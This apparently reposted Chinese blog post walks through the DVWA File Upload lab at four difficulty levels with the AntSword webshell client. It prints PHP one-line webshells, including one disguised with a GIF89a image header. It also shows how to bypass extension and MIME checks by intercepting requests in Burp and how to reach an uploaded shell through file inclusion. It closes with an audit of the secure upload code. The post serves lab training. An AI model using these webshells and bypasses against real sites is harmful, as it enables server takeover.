首页 > 其他分享 >[网络安全]DVWA之File Upload—AntSword(蚁剑)攻击姿势及解题详析合集

[网络安全]DVWA之File Upload—AntSword(蚁剑)攻击姿势及解题详析合集

时间:2023-05-02 22:24:23浏览次数:48  
标签:详析 uploaded temp AntSword File Upload file 上传

免责声明:本文仅分享SQL攻击相关知识,不承担任何法律责任。
DVWA、BurpSuite请读者自行安装,本文不再赘述。

同类文章参考:[网络安全]AntSword(蚁剑)实战解题详析(入门)


File Upload—low level

源码中无过滤:

在这里插入图片描述
上传包含一句话木马<?php @eval($_POST[qiushuo]);?>的文件qiu.php
回显上传成功:
在这里插入图片描述将路径../../hackable/uploads/qiu.php与URLhttp://localhost/dvwa/vulnerabilities/upload/#拼接为http://localhost/dvwa/vulnerabilities/upload/../../hackable/uploads/qiu.php,密码qiushuo,连接蚁剑。
先测试连接:
在这里插入图片描述

连接成功后点击添加,再右键点击文件管理即可。

在这里插入图片描述自此,DVWA之File Upload—low level解题结束。


URL中#的作用

是用来指导浏览器动作的,不作用于服务器端。所以,HTTP请求中不包括#。

  比如,访问下面的网址,

  http://www.example.com/1.htmll#qiushuo.php

  浏览器实际发出的请求是这样的:

  GET /1.html HTTP/1.1

  Host: www.example.com


File Upload—medium level

仍然上传qiu.php,页面回显如下:
在这里插入图片描述源代码中对文件格式进行过滤:
在这里插入图片描述修改qiu.php为qiu.jpg,上传。
在这里插入图片描述由于jpg是不被解析的,所以需要抓包将文件格式修改为php等。
如下图,将filename="qiu.jpg"修改为filename="qiu.php"

在这里插入图片描述上传成功:
在这里插入图片描述将路径与URL拼接,连接蚁剑。

在这里插入图片描述以下步骤同上,不再赘述。
在这里插入图片描述自此,DVWA之File Upload—medium level解题结束。


File Upload—high level

源码如下:

在这里插入图片描述

代码审计

1.获取上传文件的信息,包括文件名、扩展名、大小和临时文件路径等。

2.判断上传的文件是否为 JPG、JPEG 或 PNG 图片,并且文件大小不超过 100000 字节(即100KB)。strtolower() 可以将字符串转换成小写;
getimagesize() 函数可以判断指定的文件是否为一种可识别的图像格式。

3.将合法的图片文件移动到指定的上传目录中,并输出上传成功的信息;否则输出相应的错误提示信息。

先上传常规木马文件
在这里插入图片描述high等级强制了文件类型。由于文件类型与后缀名无关,所以修改文件后缀名不能绕过
在这里插入图片描述更改图片头再上传

GIF89a
<script language="php">eval($_POST['qiushuo']);</script> 

回显如下:
在这里插入图片描述 由于Burp修改文件格式发包只能绕过前端,所以此时抓包后将.jpg改为.php是不能绕过的。

文件包含

具体原理不再解释
有时候使用蚁剑登录网站可能需要提供用户名和密码等信息,在蚁剑中设置 Cookie,攻击者便可以在蚁剑中模拟登录目标站点,并保存站点返回的 Cookie 值,从而实现一些需要登录才能访问的功能,比如上传、下载文件等操作。
URL:http://localhost/dvwa/vulnerabilities/fi/?page=file:///D:/Software/PHPStudy/phpstudy_pro/WWW/dvwa/hackable/uploads/2.jpg(图片路径)
密码:qiushuo
获取cookie:
在这里插入图片描述
请求信息栏输入cookie:
在这里插入图片描述
以下操作同上,不再赘述。

自此,DVWA之File Upload—high level解题结束。

File Upload—Impossible level

源代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='{$target_path}{$target_file}'>{$target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

代码审计

  1. 判断提交按钮是否被点击,并检查 Anti-CSRF token 是否合法。
if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    ...
}

这里通过判断 $_POST[ 'Upload' ] 变量是否存在来判断前端页面是否提交了表单。如果提交了表单,则调用 checkToken() 函数来检查提交的 Anti-CSRF token 是否与当前会话中的 token 相等(即防止 CSRF 攻击)。

  1. 获取上传文件的相关信息,并定义目标存放路径和文件名等变量。
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Where are we going to be writing to?
$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

这里通过 $_FILES 变量获取了上传文件的名称、扩展名、大小、类型和临时文件名等信息,并将其保存到相应的变量中。然后,定义了存放目录、目标文件名和临时文件名三个变量。

  1. 检查上传文件是否符合要求。
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
    ( $uploaded_size < 100000 ) &&
    ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
    getimagesize( $uploaded_tmp ) ) {
    ...
}

这里使用了一系列条件语句来检查上传文件是否符合要求。首先,检查上传文件的扩展名是否为 jpg、jpeg 或 png;然后,检查文件大小是否小于 100KB;接着,检查文件 MIME 类型是否为 image/jpeg 或 image/png;最后,调用 getimagesize() 函数检测上传文件是否是真正的 JPG、JPEG 或 PNG 图片。如果满足以上所有条件,则进入下一步操作。

  1. 将临时文件转换为 JPEG 或 PNG 格式的图片,并保存到目标存放路径中。
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
    $img = imagecreatefromjpeg( $uploaded_tmp );
    imagejpeg( $img, $temp_file, 100);
}
else {
    $img = imagecreatefrompng( $uploaded_tmp );
    imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );

// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
    // Yes!
    echo "<pre><a href='{$target_path}{$target_file}'>{$target_file}</a> succesfully uploaded!</pre>";
}
else {
    // No
    echo '<pre>Your image was not uploaded.</pre>';
}

// Delete any temp files
if( file_exists( $temp_file ) )
    unlink( $temp_file );

这里首先根据文件类型使用 imagecreatefromjpeg() 或 imagecreatefrompng() 函数创建一个新的图片资源,并使用 imagejpeg() 或 imagepng() 函数将其保存为 JPEG 或 PNG 格式的图片,存放到临时文件中。然后,使用 rename() 函数将临时文件移动到指定的目录中,作为最终的上传文件。如果移动成功,则输出上传成功的消息;否则,输出上传失败的消息。最后,删除任何临时文件(如果存在)。

  1. 生成新的 Anti-CSRF token。
// Generate Anti-CSRF token
generateSessionToken();

这里调用了 generateSessionToken() 函数,生成一个新的 Anti-CSRF token,以便下一次提交时使用。
自此,DVWA之File Upload—high level解题结束。


总结

以上为[网络安全]DVWA之File Upload—AntSword(蚁剑)攻击姿势及解题详析合集,读者可借此入门AntSword渗透姿势。
我是秋说,我们下次见。

标签:详析,uploaded,temp,AntSword,File,Upload,file,上传
From: https://www.cnblogs.com/qiushuo/p/17368413.html

相关文章

  • [网络安全]sqli-labs Less-2 解题详析
    往期回顾:[[网络安全]sqli-labsLess-1解题详析](https://blog.csdn.net/2301_77485708/article/details/130410800?spm=1001.2014.3001.5502)判断注入类型GET1and1=1,回显如下:GET1and1=2,没有回显:说明该漏洞类型为整型注入。判断注入点个数GET1orderby3,回显如下:GE......
  • [网络安全]DVWA之Brute Force攻击姿势及解题详析合集
    免责声明:本文仅分享Burp爆破相关知识,不承担任何法律责任。DVWA及Brup请读者自行安装,本文不再赘述。同类文章参考:[网络安全]BurpSuite爆破实战解题详析之BUUCTFBrute1DVWA之BruteForce攻击之lowlevel思路:先爆用户名,再爆密码。抓包后给username添加payload位置添加Bu......
  • [网络安全]sqli-labs Less-3 解题详析
    判断注入类型GET1'and'1'='1,回显如下:GET1'and'1'='2:没有回显,说明该漏洞类型为GET型单引号字符型注入判断注入点个数GET1'orderby2--+,回显如下:由上图可知,sql语法中给$id加上了()猜测后端语句为SELECT*FROMxxwhereid=('$id')故构造GET1')orderby3-......
  • [网络安全]sqli-labs Less-4 解题详析
    判断注入类型GET1"and"1"="1,回显如下:GET1"and"1"="2没有回显,说明该漏洞类型为GET型双引号字符型注入判断注入点个数GET1"orderby3--+由上图可知,sql语法中给$id加上了()猜测后端语句为SELECT*FROMxxwhereid=("$id")故构造GET1')orderby3--+,此时后......
  • [网络安全]sqli-labs Less-5 解题详析
    往期sqli-labs在该博客中,读者可自行浏览。[秋说的博客](https://blog.csdn.net/2301_77485708?spm=1000.2115.3001.5343)该博客实操性较高,请读者`躬身实践`判断注入类型GET1'and'1'='1回显如下:GET1'and'1'='2没有回显,说明该漏洞类型为GET型单引号字符型注入判断注入......
  • [网络安全]DVWA之SQL注入—medium level解题详析
    免责声明:本文仅分享SQL攻击相关知识,不承担任何法律责任。本文涉及的DVWA应用程序、BurpSuite、sqlmap请读者自行安装,本文不再赘述。SQL注入原理可参考:[网络安全]SQL注入原理及常见攻击方法简析sqlmap注入方式可参考:[网络安全]以留言板项目渗透实例带你入门sqlmap提交用户名后......
  • [网络安全]DVWA之SQL注入—High level解题详析
    免责声明:本文仅分享SQL攻击相关知识,不承担任何法律责任。DVWA请读者自行安装,本文不再赘述。由于highlevel仅涉及简单攻击知识,本文不再详细解释。建议读者在理解SQL注入原理,熟悉lowlevel、mediumlevel解题姿势后再观看本文。具体原理及姿势参见:[网络安全]DVWA之SQL注入—low......
  • appuploader   iOS 应用自动发布
    appuploader是一款专门为iOS和Android开发人员设计的自动化工具,可以帮助开发人员轻松解决一些繁琐的任务,例如生成屏幕截图、处理配置文件和发布应用程序等。这个工具可以让开发人员在不同的环境下自定义和运行发布管道,使得整个应用的发布过程更加简单和自动化。使用appuploade......
  • appuploader   iOS 应用自动发布
    appuploader是一款专门为iOS和Android开发人员设计的自动化工具,可以帮助开发人员轻松解决一些繁琐的任务,例如生成屏幕截图、处理配置文件和发布应用程序等。这个工具可以让开发人员在不同的环境下自定义和运行发布管道,使得整个应用的发布过程更加简单和自动化。使用appuploader......
  • appuploader   iOS 应用自动发布
    appuploader是一款专门为iOS和Android开发人员设计的自动化工具,可以帮助开发人员轻松解决一些繁琐的任务,例如生成屏幕截图、处理配置文件和发布应用程序等。这个工具可以让开发人员在不同的环境下自定义和运行发布管道,使得整个应用的发布过程更加简单和自动化。使用appupl......